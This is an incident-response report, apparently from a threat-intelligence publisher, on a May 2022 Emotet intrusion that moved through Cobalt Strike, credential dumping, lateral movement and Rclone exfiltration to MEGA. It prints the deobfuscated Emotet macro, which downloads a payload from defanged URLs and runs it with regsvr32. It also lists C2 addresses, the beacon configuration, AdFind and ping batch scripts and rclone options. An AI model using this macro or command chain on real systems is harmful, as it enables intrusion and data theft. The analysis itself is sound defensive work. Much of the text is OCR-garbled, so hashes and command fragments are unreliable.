Dead or Alive? An Emotet Story
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In this intrusion from May 2022, we observed a domain-wide compromise that started from a malware ridden Excel document
containing the never-dying malware, Emotet.

The post-exploitation started very soon after the initial compromise. The threat actors began enumerating the network once
Emotet deployed a Cobalt Strike beacon on the beachhead host. After three days of discovery and lateral movement, the threat
actors exfiltrated sensitive data using Rclone before leaving the network.

After a successful takedown thanks to Interpol and Eurojust efforts, Emotet was resurrected in November 2021 with the help

of Trickbot malware. Since then, Emotet has been testing different initial access payloads while its developers were busy
improving the core functionality of the actual malware. Since January 2022 we observed an increase in the activity of Cobalt Strike
deployments following Emotet intrusions.

In a few weeks, we’ll have another Emotet report out from June, where the intrusion used similar TTPs and ended in ransomware.

Case Summary

Back in May, we witnessed an intrusion that started from a phishing email which included Emotet. The intrusion lasted four days
and contained many of the usual suspects, including the Cobalt Strike post-exploitation framework.

The Emotet infection was delivered using a xls file containing a malicious macro, a technique that has been on the wane in recent
months. After executing the Emotet malware, it ran a few basic Windows discovery commands (systeminfo, ipconfig, etc.), wrote a
registry run key for persistence, and made its initial call outs to the command and control servers.

Around 40 minutes after the initial execution, the Emotet malware started to run a new Emotet email spreader campaign. This
entailed connecting to various email servers and sending new emails with attached xIs and zip files. This activity continued until
the UTC clock turned over to the next day; at which point, the email spreader halted for a period of time and around seven hours
into the second day, it began running the email spreader again.
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Around 26 hours after the initial infection, while still running the email spreader, the Emotet malware pulled down and executed a
Cobalt Strike payload on the beachhead host. Right after the beacon was executed, the threat actors began enumerating the
network using native Windows binaries and the PowerView module, Invoke-ShareFinder. Around 30 minutes after dropping the
beacon the threat actor injected into a dllhost.exe process and then proceeded to dump credentials from LSASS. Another 20
minutes later, the threat actor ran Invoke-ShareFinder again and Invoke-Kerberoast.

At 29 hours from initial access, the threat actors began their first lateral movement. This was achieved by transferring a Cobalt
Strike DLL over SMB and executing via a remote service on another workstation. From there, they ran Invoke-Sharefinder once
again, along with AdFind, using a batch file named find.bat. Pass-the-Hash behavior was observed targeting several accounts on
the lateral host. Use of Cobalt Strike’s Get-System module was also apparent via the logs.

The threat actors then proceeded to do additional network discovery using a batch script named p.bat to ping all servers in the
network. More account discovery was then observed, with queries for Domain Administrators and a backup account.

At 31 hours into the intrusion, the threat actors pivoted to the Domain Controller using the same Cobalt Strike DLL. Once on the
Domain Controller, the threat actors again used Get-System to elevate and then dumped LSASS. After completing that activity, the
threat actors chose another server to push a file, 1.msi, to, which was the installation package for Atera—for an additional means of
persistence and command and control. During this whole second day, the original Emotet infection on the beachhead host was still
trying to send more malicious emails, finally stopping for the day a little before 23:00 UTC.

They returned the next day, at the same time as the previous day, and picked up where they left off. They pivoted to a couple of
workstations on the network using Cobalt Strike and installed Atera and Splashtop with a different MSI installer. Once again, they
executed Invoke-Sharefinder, AdFind, and the p.bat batch script to ping online servers. Using the remote admin tools, they used
Rclone to exfiltrate important data from a file server and upload it to MEGA. Interestingly, the threat actors exfiltrated the same
data twice while running Rclone with the parameter —ignore-existing from two different hosts on the network. Around 20:00 UTC
the Emotet infection on the beachhead host began its email spreader activity again, only to halt at the change over at 00:00 UTC.

On the last day of this intrusion, the threat actors returned during their normal working hours and used Rclone to exfiltrate IT-
related data from a separate server. This was the last activity we observed from this group. These cases commonly end up with
ransomware in addition to data exfiltration. This, however, was not the case with this intrusion as the threat actors were evicted
before any final actions could be taken.

Services

We offer multiple services including a Threat Feed service which tracks Command and Control frameworks such as Cobalt Strike,
BumbleBee, Covenant, Metasploit, Empire, PoshC2, etc. More information on this service and others can be found here.

We also have artifacts and I0Cs available from this case such as pcaps, memory captures, files, event logs including Sysmon,
Kape packages, and more, under our Security Researcher and Organization services.

Timeline

Dead or Alive? An Emotet Story

13:19 UTC - Emotet Initial
Execution

lopespublicidade.com J
103.8.26.17:8080 13:29 UTC - Discovery and
Persistence

Persistence via run keys

m_ GEEID

ipconfig /all

15:54 UTC - Cobalt Strike Execution via Emotet
and Process Injection

59.95.98.204:447
15:57 UTC - Discovery via
Cobalt Strike

59.95.98.204:8080

C:\Users\USER\AppData\L JomCgb

Injection into svchost.exe and dilhost.exe

Invoke-ShareFinder J processes
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C:\Windows\system32\cmd.exe /C net group /domain "Domain Admins"
C:\Windows\system32\cmd.exe /C net group /domain "Enterprise Admins"

C:\Windows\system32\cmd.exe /C
systeminfo

C:\Windows\system32\cmd.exe /C net
users

C:\Windows\system32\cmd.exe /C nltest /DOMAIN_TRUSTS

17:55 UTC - Credential Access =

Invoke-Kerberoast script executed on
beach head host by Cobalt Strike process

19:18: UTC - Accessing LSASS
and Pass The Hash Activities

20:48 UTC - Lateral Movement
to Domain Controller

Cobalt strike - 1.dll
\\HOSTNAME\c$\programdata\l.dll

59.95.98.204:447

17:13 UTC - Discovery via Cobalt Strike

Invoke-ShareFinder

Looking the contents of remote shares
using dir.exe

AdFind (find.bat)

19:34 UTC - Discovery
Repeat using p.bat for ping discovery J

ping HOSTNAME.DOMAIN.local -n 1

rclone.exe copy "\\HOSTNAME.DOMAIN.local\Shares"

17:37 UTC - Credential Access

Lsass process access via Searchindexer exe

Searchindexer pipe
PipeName: \SearchTextHarvester

18:25 UTC - First Lateral Movement

Cobalt strike - 1.dll
\\HOSTNAME\c$\programdata\l.dl

59.95.98.204:447

20:00 UTC - Discovery via
Cobalt Strike on Lateral Host

I invoke-ShareFinder

I AdFind

cmd.exe /C find.bat

find.exe -f "(objectcategory=person)”
find.exe -f "objectcategory=computer”

find.exe -f "(objectcategory=organizationalUnit)”
find.exe -sc trustdmp

find.exe -subnets -f (objectCategory=subnet)
find.exe -f "(objectcategory=group)”

find.exe -gcb -sc trustdmp

I+ Enumerating domain admin accounts

\ ping hosts on the network
cmd.exe /C p.bat
ping HOSTNAME.DOMAIN.local -n |

22:04 UTC - Installing Atera/Splashtop
Remotely on a Server

Atera Agent Installer - 1.msi

\\HOSTNAME\c$\programdata\l.msi

16:55 UTC - Additional
Lateral Movement

Atera Installer - 86.msi

\\HOSTNAME\c$\programdata\86.msi

Cobalt Strike - 32.dll
[ \\HOSTNAME\c$\programdata\32.dl

18:38 UTC - Exfiltration

Uploads to mega.io using rclone

multi-thread-streams 4 --transfers 4

Looking the contents of remote shares.

using dir.exe

20:01 Emotet Mail Spreader
Start on Beach Head Again

L Ends at 00:00 UTC again

17:39 UTC - Exfiltration

Uploads to mega.io via rclone once again from a different host J

Analysis and reporting completed by @Kostastsale and @IcsNick

Initial Access
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The threat actor gained access to the environment after a user opened an Excel document and enabled macros. The document
came in via email in the form of a zip file which included an xIs file. Thanks for sharing @proxylife!

#Emotet — epoch4/5 — Malstorm continues.
Mixture of Ink files and xls files being sent. | am playing catching up updating my git with IOC's!

#1 — Ink .ps1 > dll
#2 — .zip > xIs > .dll

I0C'shttps://t.co/tZgoqOUB0x (e4)https://t.co/BoJWNNvbhp (e5) pic.twitter.com/GfRXjO1GF8

— proxylife (@prOxylife) May 18, 2022
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The document contains hidden sheets, has white characters on a white background, and is attributed to SilentBuilder with Emotet,
epoch5.
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Indeobfuscator -f info 1
not installed (only is requi

tor(ve.2.6) - https://github.con/ are/XLiMacrobeobfuscator
File: /home/remnux/Docunents/Files/info 1805

Unencrypted xls file

auto_open->'OEOGAJPGIPAG" 1$D$1
fuscation]

. FullEy ion 0
. FullEvaluation . ca CCBB" 0, "http://praachichenfood. con/wp-content /t
Full 33CCBB" 0, *ht"

0 ion
. Fullévaluation . R i 7 Al iy "..\hvxda.ocx",0,0))
FullEvaluation g - - - .
. Fullévaluation L IFO RLDOWn10adToF 1 e/
. FullEvaluation
. PartialEvaluation o 32\regsurazexe ..\hvxda.ocx")

CELL:D3: L FullEv

After deobfuscation and cleaned up, the code in the macro looks as follows.
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=CALL("urlmon", "URLDownloadToFileA", "JJCCBB", 0, "http[:]//praachichemfood[.]com/wp-content/Mwmos/","..\hvxda.ocx",0,0)

=IF(JRSJG1<0Q, CALL("urlmon", "URLDownloadToFileA","JJCCBB", 0, "https[:]//lopespublicidade[.]com/cgi-
bin/e5R50G4iEaQnxQrzbh/",". .\hvxda.ocx",0,0))

=IF(JRSJG2<0, CALL("urlmon", "URLDownloadToFileA", "JJCCBB", 0, "https[:]//bosny[.]com/aspnet_client/rnMpOofR/","..\hvxda.ocx

=IF(JRSJG3<0,CALL("urlmon", "URLDownloadToFileA", "JJCCBB", 0, "http[:]//seasidesolutions[.]com/cgi-
bin/WLO06SEzYCJ3LTIC/",". .\hvxda.ocx",0,0))

=IF(JRSJG4<0,CALL("urlmon", "URLDownloadToFileA", "JJCCBB", 0, "http[:]//borgelin[.]org/belzebub/okwRwWz1C/","..\hvxda.ocx", 0

=IF(JRSJG5<0, CALL("urlmon", "URLDownloadToFileA","JJCCBB",0Q,"http[:]//1loa-hk[.]com/wp-
content/ffBag/","..\hvxda.ocx",0,0))

=IF(JRSJIG6<O, CLOSE(0),)

=EXEC("C:\Windows\System32\regsvr32.exe ..\hvxda.ocx")

=R

Execution

Emotet Execution

The execution is done from an Excel document using regsvr32.exe with the payload, hvxda.ocx, that is a DLL file with the name of
random characters, IIJyMIOvft.dll . Worth noting, the Excel document failed to download the second payload from a few of the
embedded URLs.

A new file is then created in C:\% USERPROFILE%\AppData\Local\ with a folder that also consists of random characters.

spreadsheetxls regsvr32 hvxda.ocx -) C:\%USERPROFILE%\AppData\Local\FrixbduRbdVAbVbS (Randomly named folder) regsvr32.exe IyMIOvft.dll '(\
I A H

’ / s /

7 7 /
Vi Vi 7 S/
’ s 4 C2 addresses from resource section
‘ / - s
URLDownloadToFileA yd s P
; Vi - ”
,' / Copy and remove from original location c4
1 r e 2 Communication
3, { P
Sa g P

10yMIOvft.dll / "Random name'dll -
Downloader
https[]//lopespublicidade[Jcom/cgi-bin/eSR50G4iEaQnxQrZDh/
https]/fbosnylJcom/aspnet_client/rmMp0OofR/
http[}//seasidesolutions[ Jcom/cgi-bin/WLoO6sEZYCI3LTIC/
http[l//borgelinL]org/belzebub/okwRWz1C/
http[:l/loa-hk[Jcom/wp-content/ffBag/

Cobalt Strike Execution

The Emotet DLL is then used to download Cobalt Strike, which is then injected into svchost and dllhost.
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Process injection Process injection

svchost.exe dllhost.exe

Sysmon showing Emotet starting the Cobalt Strike executable.

ent 1, Microsoft-Windows-Sysmon

3eneral  Details

cmd.exe /C net group "Domain
Computers" /domain

repair the compoenent on the local computer.

The following information was included with the event:

technique._id=T1036 technique_name=Masquerading
2022-05-19 15:54:10.669

EV_RenderedValue_2.00

10256

C:\Users_lppData\Lu(al\FrlxbduRdeAthS\UOm(gh)(yg(e‘exe

I\AppData\Local\FrixbduRbdVAbYbS\UOmCgbXygCe.exe"
Documents\

17744687

Medium

EV_RenderedValue_18.00
8060
C:\Windows\System32\regsvr32.exe

32.exe "C:\Users\l-

A great way to get the Malleable profile (and additional beacon config), is to use Didier Stevens’s fantastic tool 1768.py. Here, the

tool is used with a process dump of the executable.

If the event originated on another computer, the display information had to be saved with the event,

SHA1=82070D19C26E0F7E255168E1F2364174215AA0DE, MD5=592155BBBAB0SAC1F818CFDOEB53B672, SHA256
=F4COB5EF1BATE78A17A9185E4D5E06163FEOE39B6BODC3088B4CT1ED11CODT268,IMPHASH=BCF185F1308FFD9E4249849D206DIDOC

Data\Local\FrixbduRbdVAbVBS\IlyMIOvit.dil"

The description for Event ID 1 from source Microsoft-Windows-Sysmon cannot be found. Either the component that raises this event is not installed on your local computer or the installation is corrupted. You can install or
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a e$ 1768.py UOmCgbXygCe.
uomCgbXygCe dmp
found: xor b'.' 9x00000000 Bx
0 windows-beacon http-
8080
450
1403644
37
30819f300d06092a864886T70d010101050003818d00308189028181009T5a22balefo360f6le 20607547 cadad4ad
0f97f4a87f 'c905335725c46d4f7904db7345556d0a2u5u 890a7fde41df29241cdc8ba18c4ed76bcdc2aab57401cb746fed27effoffoc6507d4d9456b4605428
703(37529006b9bﬁ(nﬁll 0437e96e99a1997b23375d2b5ba99f3d8b
¢ 0000000 0000000000 ¢ 0000000
,get-uri PO '59.95.98.204,/jquery-3.3
DNS_STRATEGY (¢]
DNS_STRATEGY_ROTATE_SECONDS g @ =1l
TRATEGY_FAIL_ -1
TRATEGY FAIL_S : ¢ -1
'[ @EOE[p\x9Tn8G\x88BO\x99"
owﬁ4\\d11ho~t

w

w

W W

'GET'

'POST'

(¢]

206546002
'x11knfb/0iftN2EAhdtcyw=:

o o
NN W

post-verb
HttpPostChunk
license-id

b(FG(dUthn
MAX_RETRY STRATEGY ATTEMPTS
3 MAX_| STRATEGY_INCREASE
MAX_RETRY_STRATEGY_DURATION
'M01111a/5 @ (Windo NT 6.3; Trident/7 rv:11.0) like Gecko'
pn~t uri 0 0 '/jquery-3.3.2.min.js

Persistence

The Emotet malware infection on the beachhead host used a registry run key to maintain persistence.

Value Name Value Type Data \
¥ | Allc AlJc AlJc '
(
» [ nymMIOVR.di Regsz {C:\Windows\system32yegsvr32.exe 'C:\Users-I\AppData\LocaI\FrlxbduRdeAbeSVIJyMIva‘LdII' '
Type viewer Binary viewer
Value name ||IJyMIvat.dII
Value type IRegsz
Value |C: \Windows\system32\regsvr32.exe "C: \Users-\AppData\LocalFrlxbduRdeAbeSVlJyMIvat. di”

This registry key activity (Sysmon EventID 12 & 13) was observed continuously on the beachhead host for the first few days of the
intrusion.

Image Processid EventType TargetObject Details

Ovft. a1
Ovft. a1

Ovft. a1

Ovft.d11”

1XbduRDIV.

T1xbduRDAV

Ovft. a1

Beyond the beachhead host, the threat actor deployed several Atera/Splashtop remote access tools across the environment as an
alternative means of access to the environment should they lose access to their Cobalt Strike beacons.
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Privilege Escalation

Use of Cobalt Strike’s Get-System named pipe technique was observed on the Domain Controller and other hosts to elevate to
System privileges.

Image CommandLine Parentimage IntegrityLevel

6fb7f1bf47 > \\.\pipe\

Defense Evasion

Process injection was observed during the intrusion by both Emotet and Cobalt Strike. Emotet injected multiple times into svchost
to execute certain functions, including discovery commands.

EventCode TaskCategory Sourcelmage Targetimage Image Destinationlp  DestinationPort
3 Network connection detected C:\Windows\system32\regsvr32.exe 188.166.217.40 8080
3 Network connection detected ...\FrixbduRbdVAbVbS\UOmCgbXygCe.exe 59.95.98.204 8080
8 CreateRemoteThread detected UOmCgbXygCe.exe C:\Windows\System32\svchost.exe
10 Process accessed UOmCgbXygCe.exe C:\Windows\system32\svchost.exe
3 Network connection detected C:\Windows\System32\svchost.exe 59.95.98.204 447
3 Network connection detected I ...\FrlxbduRbdVAbVbS\UOmMCgbXygCe.exe 59.95.98.204 8080

4

#

8 i Process injection to svchost
Parentimage = s ParentCommandLine < ré CommandLine < ) Vs
regsvr32.exe uomcgbxygce. exe "UOmCgbXygCe.exe" I svchost.exe -k UnistackSvcGroup -s CDPUserSvc I

services.exe svchost.exe vchost.exe -k [\ cmd.exe /C net group "Domain Computers" /domain

UnistackSvcGroup -s
CDPUserSvc

svchost.exe -k svchost.exe -k UnistackSvcGroup -s WpnUserService
UnistackSvcGroup -s

CDPUserSvc

services.exe svchost.exe

services.exe svchost.e svchost.exe -k cmd.exe /C net group /domain "Domain Admins"

UnistackSvcGroup -s
CDPUserSvc

svchost.exe -k cmd.exe /C net group /domain "Enterprise Admins
UnistackSvcGroup -s

CDPUserSvc

services.exe svchost.

svchost.exe -k cmd.exe /C systeminfo
UnistackSvcGroup -s

CDPUserSvc

services.exe svchost.

cmd.exe /C net users

svchost.exe -k
UnistackSvcGroup -s
CDPUserSvc

services.exe svchost. ex

services.exe svchost.exe svchost.exe -k dllhost.exe

UnistackSvcGroup
DPUserSvc

Cobalt Strike used process hollowing to launch under the context of the Dllhost.exe process. We later saw Dllhost.exe injecting
into multiple other processes, such as explorer.exe and svchost.exe, to execute further payloads.

Scanning process memory across affected hosts reveals both the direct Cobalt Strike processes and the injected processes using
the Malpedia yara rule.

.Pid .ProcessName .CommandLine .Rule

4616  svchost.exe C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc  win_cobalt_strike_auto

4844  svchost.exe C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s win_cobalt_strike_auto
WpnUserService
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10256 UOmMCgbXygCe.exe “C:\Users\USER\AppData\Local\FrixoduRbdVAbVbS\UOMCgbXygCe.exe” win_cobalt_strike_auto

836 svchost.exe C:\Windows\system32\svchost.exe -k DcomLaunch -p win_cobalt_strike _auto
1008  svchost.exe C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM win_cobalt_strike_auto
9308  regsvr32.exe regsvr32 C:\ProgramData\1.dll win_cobalt_strike_auto
1056  svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p win_cobalt_strike_auto
1428  svchost.exe C:\Windows\system32\svchost.exe -k ICService -p win_cobalt_strike _auto
6036  regsvr32.exe regsvr32 C:\ProgramData\1.dll win_cobalt_strike_auto

Credential Access

From the beachhead host credentials appear to have been dumped from an injection into the Searchindexer process on the host.
Data observed using sysmon event id 10 shows the use of the Searchindexer process, similar to behavior observed in a prior
case, followed by known Cobalt Strike malleable profile named pipes.

EventID: 10

SourceImage: C:\Windows\system32\SearchIndexer.exe

TargetImage: C:\Windows\system32\lsass.exe

GrantedAccess: 136208

CallTrace:

C:\Windows\SYSTEM32\ntd1ll.d11+9d1e4|C:\Windows\System32\KERNELBASE.d11+2bcbe|C:\Program Files\Common Files\Microsoft
Shared\Ink\IpsPlugin.d11+10369|C:\Program Files\Common Files\Microsoft Shared\Ink\IpsPlugin.d1l1+10b65|C:\Program
Files\Common Files\Microsoft Shared\Ink\IpsPlugin.dl1l+8cbh2|C:\Program Files\Common Files\Microsoft
Shared\Ink\IpsPlugin.d11+53c9|C:\Windows\System32\KERNEL32.DLL+17034|C:\Windows\SYSTEM32\ntd11l.d11+52651

EventID: 17

EventType: CreatePipe

Image: C:\Windows\system32\SearchIndexer.exe
PipeName: \SearchTextHarvester

Shortly after the credential dump using the Searchindexer process, the Cobalt Strike process ran Invoke-Kerberoast looking for
roastable accounts within the organization.

ComnandIn don(In
ParameterBinding(Im

rue
ue="UTF8&’
Lue:

L

ParameterBindi
Para Bindi
ParameterBinding - a 0l e t.P hell.Commands.Internal.Format.FormatEndData”

We observed Cobalt Strike beacons accessing LSASS on multiple occasions, on almost every compromised host.
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Categories Action Type Initiating Process Command Line Process Command Line Additional Fields
T1083.001 (mitre) SuspiciousAccessToLSASSService 1sass.exe

OpenProcessApiCall dllhost.exe "DesiredAccess™: 4152 }
CredentialAccess (alertCategory) OtherAlertRelatedActivity dllnost.exe Description”: "dllhost.exe read lsass.exe process memory’
CredentialAccess (alertCategory) GtherAlertRelatedActivity dllhost.cxe "Description”: "dllhost.exe wrote into the process memory of lsass.exe” }
T1883.981 (mitre, SuspiciousAccessToLSASSService

OpenProcessApiCall dllnost.exe DesiredAccess™: 4152 }
CredentialAccess (alertCategory) OtherAlertRelatedActivity dllhost.exe {  "Description”: "dllhost.exe read lsass.exe process memory” }
T1893.081 (mitre) SuspiciousAccessToLSASSService

OpenProcessApiCall "DesiredAccess”
T1893.081 (mitre) SuspiciousAccessToLSASSService

GpenProcessApiCall dllhost.exe "DesiredAccess™: 4152 }
CredentialAccess (alertCategory) OtherAlertRelatedActivity dllnost.exe { Description”: "dllhost.exe read lsass.exe process memory’
CredentialAccess (alertCategory) GtherAlertRelatedActivity dllhost.cxe "Description”: "dllhost.exe read lsass.exe process memory” }
CredentialAccess (alertCategory) OtherAlertRelatedActivity dllhost.exe {  "Description”: "dllhost.exe wrote into the process memory of lsass.exe”
T1893.081 (mitre) SuspiciousAccessToLSASSService

GpenProcessApiCall dllhost.exe "DesiredAccess™: 4152 }
CredentialAccess (alertCategory) OtherAlertRelatedActivity dllnost.exe Description”: "dllhost.exe read lsass.exe process memory’

CredentialAccess (alertCategory) OtheralertRelatedActivity dllhost.exe Description”: "dllhost.exe Wrote into the process memory of lsass.exe

Discovery

On the first day of the intrusion, the Emotet malware performed some basic discovery tasks on the host using built in Windows
utilities.

Image CommandLine Parentimage ParentCommandLine Processid

C:\Windows\Systen32\systeminf  systeminfo \Windows\System32\regsvr32.exe  C:\Windows\system32\regsvra2 C:\Users AppData\Loc 9156

o.exe xbdURDAVABVDS) 11JyNIOVFt .d11

C:\Windows\System32\ipconfig.  ipconfig fall C:\Windows\System32\regsvr32.exe  C:\Windows\system32\regsvr32.exe "C:\Users\ AppData\Local
exe xbdURDVABVDS) 11JyMIOVFt .d11

systeminfo
ipconfig /all

On the second day, the hands on activity from Cobalt Strike performed a more thorough examination of that host's Windows
domain.

Image CommandLine Parentimage ParentCommandLine Processid

C:\Windows\System32\cmd . exe C:\Mindows\system32\cmd.exe /C net group "Domain Computers"  C:\Users) \AppData\Local\Frls  "C:\Users) AppData\Local\FrixbduRbdVAbVD 1492
/domain bduRbdVAbVbS} UOmCgbXygCe .exe S\UOmCghXy

C:\Windows\System32\net .exe net group "Domain Computers” /domain \Windows\Systen32\cnd. exe C:\Windoms\system32\cnd.exe /C net group "Domain Computers”

/domain

C:\Windows\System32\net1.exe C:\Windows\system32\net1 group "Domain Computers™ /domain \Windows\Systen32\net.exe net group “Domain Computers" /

System32\cnd . exe ndows\system32\cnd.exe /C net group "Domain Computers" \Windows\System32\svchost .exe

\system32\svchost.exe -k UnistackSveGroup -s CDPU

C:\Windows\System32\net.exe net group "Domain Computers” /domain \Windows\System32\cnd.exe C:\Windows\system32\cmd.exe /C net group "Domain Computers
/domain

C:\Windows\System32\net1.exe C:\Windows\system32\net1 group "Domain Computers™ /domain lindows\Systen32\net .exe net group "Domain Computers’ /domain

C:\Windows\System32\cmd . exe C:\Windows\system32\cmd .exe /C net group /domain "Domain Adm \Windows\Systen32\svchost .exe C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPU
ins sersvc

\cmd.exe \Windons\system32\cnd.exe /C net group /domain "Domain Ad
mins"

2\net.exe net group /domain "Domain Admins” \Windows'Systen32!

C:\Windows\System32\net1.exe C:\Windows\system32\net1 group /domain "Domain Admins \Windows\System32\net .exe net group /domain "Domain Admins”

C:\Windows\System32\cmd . exe C:\Windows\system32\cmd .exe /C net group /domain "Enterprise \Windows\Systend2\svchost .exe C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPU

Admins sersve

lindows\Systen32\cnd.exe C:\Windows\system32\cmd.exe /C net group /
e Admins

C:\Windows\System32\net.exe net group /domain "Enterprise Admins’

€:\Windows\System32\net1.exe C:\Windows\systen32\net1 group /domain "Enterprise Admins" \Windows\Systen32\net .exe net group /domain “Enterprise Admi

C:\Windows\System32\cmd . exe ndows\systen3Z2\cnd.exe y: \Windows\System32\svchost .exe \system32\svchost.exe -k UnistackSvcGroup -s CDPU

C:\Windows\System32\systeminfo.exe systeminfo \Windaws\Systen32\cnd.exe C:\Windows\system32\cmd .exe /C systeminfo

C:\Windows\System32\cmd . exe C:\Windows\system32\cmd.exe /C net users \Windows\System32\svchost .exe C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPU

sersvc

€:\Windows\System32\net .exe indows\Systen32\cnd. exe C:\Windows\system32\cmd.exe /C net users

C:\Windows\System32\net1.exe C:\Windows\system3Z\net1 users \Windows\System32\net .exe

C:\Windows\System32\cmd . exe C:\Windows\system32\cmd.exe /C nltest R \Windows\Systend2\svchost .exe C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPU
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OO0 0000

The threat actors launched the PowerView module, Invoke-Sharefinder, from almost all of the hosts to which they pivoted,

:\Windows\system32\cmd.
:\Windows\system32\cmd.
:\Windows\system32\cmd.
:\Windows\system32\cmd.
:\Windows\system32\cmd.
:\Windows\system32\cmd.

exe
exe
exe
exe
exe
exe

/C
/C
/C
/C
/C
/C

including the domain controller.

Severity
Host Name
Host Ver
Host Appl
Engine V
Runspa
Pipeli

Command Name
Command Type

Script Ma

Command Path
Sequence Number

AdFind.exe, the command-line Active Directory query tool, was run on only one of the compromised hosts via the find.bat batch

net group "Domain Computers" /domain
net group /domain "Domain Admins"

net group /domain "Enterprise Admins"
systeminfo

net users

nltest /DOMAIN_TRUSTS

ShareFinder”

ormational
nsoleHost

18166

script. The contents of the script are below:

\ADMINS

- Remot
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Parentimage + rs OriginalFileName =
svchost.exe cmd. exe
svchost.exe cmd. exe
svchost.exe cmd. exe
svchost.exe cmd. exe
svchost.exe cmd. exe
svchost . exe cmd. exe
svchost.exe cmd. exe
svchost . exe cmd. exe
svchost.exe cmd. exe
svchost.exe cmd. exe
svchost.exe cmd. exe
svchost.exe cmd. exe
svchost. exe cmd. exe
svchost . exe emd. exe
svchost. exe cmd. exe
svchost . exe emd. exe
svchost . exe cmd . exe
svchost . exe cmd . exe
svchost . exe cmd . exe
svchost . exe cmd . exe

find.exe

find.exe

find.exe

find.exe

find.exe

find.exe

find.exe

echo end

Using the data collected from previous activity, they created a target list which was then fed to a batch script named p.bat. The

ParentCommandLine *

cmd.

cmd.

cmd.

cmd.

cmd.

cmd.

cmd.

cmd.

cmd.

cmd.

cmd.

cmd.

cmd.

emd.

cmd.

emd.

cmd.

cmd.

cmd.

cmd.

exe

exe

exe

exe

exe

exe

exe

exe

exe

exe

exe

exe

exe

exe

exe

exe

exe

exe

exe

exe

/C find.bat

/C

/C

/C

/c

/C

/c

/C

/c

/c

find

find

find.

find.

find.

find.

find.

find.

find.

find.

find.

find.

find.

find.

find.

find.

find.

find.

find

-bat

-bat

-bat

-f "(objectcategory=person)" > ad_users.txt
-f "objectcategory=computer" > ad_computers.txt

-f "(objectcategory=organizationalunit)" >

-sc trustdmp > trustdmp.txt

ad_ous.txt

-subnets -f (objectCategory=subnet)> subnets.txt
-f "(objectcategory=group)" > ad_group.txt
-gcb -sc trustdmp > trustdmp.txt

CommandLine +

conhost.exe @xfFFfffff -ForceVl

conhost.exe @xffffffff -ForceVl

find.

find.

find.

find.

find.

find.

find.

find.

find.

find.

find.

find.

find.

find.

exe

exe

exe

exe

exe

exe

exe

exe

exe

exe

exe

exe

exe

exe

-f "(objectcategory=person)"

-f "(objectcategory=person)”

-f "objectcategory=computer"”

-f "objectcategory=computer”

-f "(objectcategory=organizationalUnit)"
-f "(objectcategory=organizationalUnit)"
-s¢ trustdmp

-s¢ trustdmp

-subnets -f (objectCategory=subnet)
-subnets -f (objectCategory=subnet)

-f "(objectcategory=group)”

~-f "(objectcategory=group)”

-gcb -sc trustdmp

-gcb -sc trustdmp

batch file contained one line, which pinged a list of servers (servers.txt). The line can be seen below:

for /f %%i in (SERVERS.txt) do ping %%i -n 1 >> res.txt

Additionally, the threat actors displayed the share directories using dir.exe via the interactive shell from the Cobalt Strike beacon.

Parentimage =

regsvri2.exe

regsvri2.exe

cond.exe

regsvri2.exe

s OriginalFileName =

cnd. exe

cnd. exe

regsvri2.exe

cmd. exe

Lateral Movement

ParentCommandLine

EUCTNEEREN recacted server J open share ]
EERSCROEILAY redacted server § Open share

regsvr32 C:\ProgramData\32.dll

end.exe /C dir \EIERENEREETES open share

s

CommandLine &

EERSSVERIN redacted server W open share |

conhost.exe exffffffff -Forcevl

The Cobalt Strike jump psexec (Run service EXE on the remote host) produced a 7045 System Windows event on remote hosts.

Example:
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{d] Event Properties - Event 7045, Service Control Manager

General Details

A service was installed in the system.

Service Mame: 2836cal

Service File Name: cmd.exe /c C:\ProgramData\1.msi
Service Type: user mode service

Service Start Type: demand start

Service Account: LocalSystem

I nen Mame: Swstemn

Below, the network traffic shows the SMB lateral transfer of one of the Atera Agent MSI installers (1.msi) used to gain access
laterally on a host and provide persistence for later access.

Protocol  Length Info

suB2 312 Negotiate Protocol Request

366 Negotiate Protocol Response

220 Session Setup Request, NTLMSSP_NEGOTIATE

405 Session Setup Response, Error: STATUS_MORE_PROCESSING_REQUIRED, N
733 Session Setup Request, NTLMSSP_AUTH, User User
159 Session Setup Response

190 Tree Connect Request Tree: \\{STETTI10-1 5 CF S TPCS

138 Tree Connect Response

178 Toctl Request FSCTL_QUERY_NETWORK_INTERFACE_INFO

474 Toctl Response FSCTL_QUERY_NETWORK_INTERFACE_INFO

236 Toctl Request FSCTL_DFS_GET_REFERRALS, File: \ Remote Host &3

130 Toctl Response, Error: STATUS FS DRIVER REQUIRED

186 Tree Connect Request Tree: \\{A{N1110) (=15 (V11 ORI <5

138 Tree Connect Response

310 Create Request File:

378 Create Response File:

260 Find Request File: SMB2 FIND ID BOTH DIRECTORY INFQ Pattern: *;Find Request File: SMB2 FIND_ID BOTH DIRECTORY_INFO Pattern: *
1514 445 + 53826 [ACK] Seq=2809 Ack=2213 Win=210176@ Len=146@ [TCP segment of a reassembled PDU]

1514 445 + 53826 [ACK] Seq=3469 Ack=2213 Win=2101760 Len=146@ [TCP segment of a reassembled PDU]

LMSSP_CHALLENGE

SMB2 122 Find Response;Find Response, Error: STATUS_NO MORE_FILES
TCP 54 53826 - 445 [ACK] Seq=2213 Ack=4997 Win=2102272 Len=0
SMB2 Tree Disconnect Request

Seq=2285 Ac

53826 + 445

[ACK]
SMB2 326 Create Request File: ProgramData
SMB2 378 Create Response File: ProgramData
SMB2 26@ Find Request File: ProgramData SMB2_FIND_ID BOTH_DIRECTORY INFO Pattern: *;Find Request File: ProgramData SMB2_FIND ID_BOTH_DIRECTORY INFO Pattern: *

445 5 53826 [ACK]

TCP segment of a reassembled PDU]

ACK] Seq=2763 Ack=6853 Win=2182272 Len=B SLE=5393 SR

53826 » 445 [

SHB2 790 Find Response;Find Response, Error: STATUS_NO_MORE_FILES

Tcp 54 53826 » 445 [ACK] Seq=2763 Ack=7589 Win=2181564 Len=8

SHB2 166 Lease Break Notification

SHB2 146 Close Request File: ProgramData

SMB2 182 Close Response

TCP 54 53826 » 445 [ACK] Seq=2855 Ack=7829 Win=21@1248 Len=8 . o
SMB2 398 Create Request File: ProgramData\l.msi k’ RemOte Flle creatlon

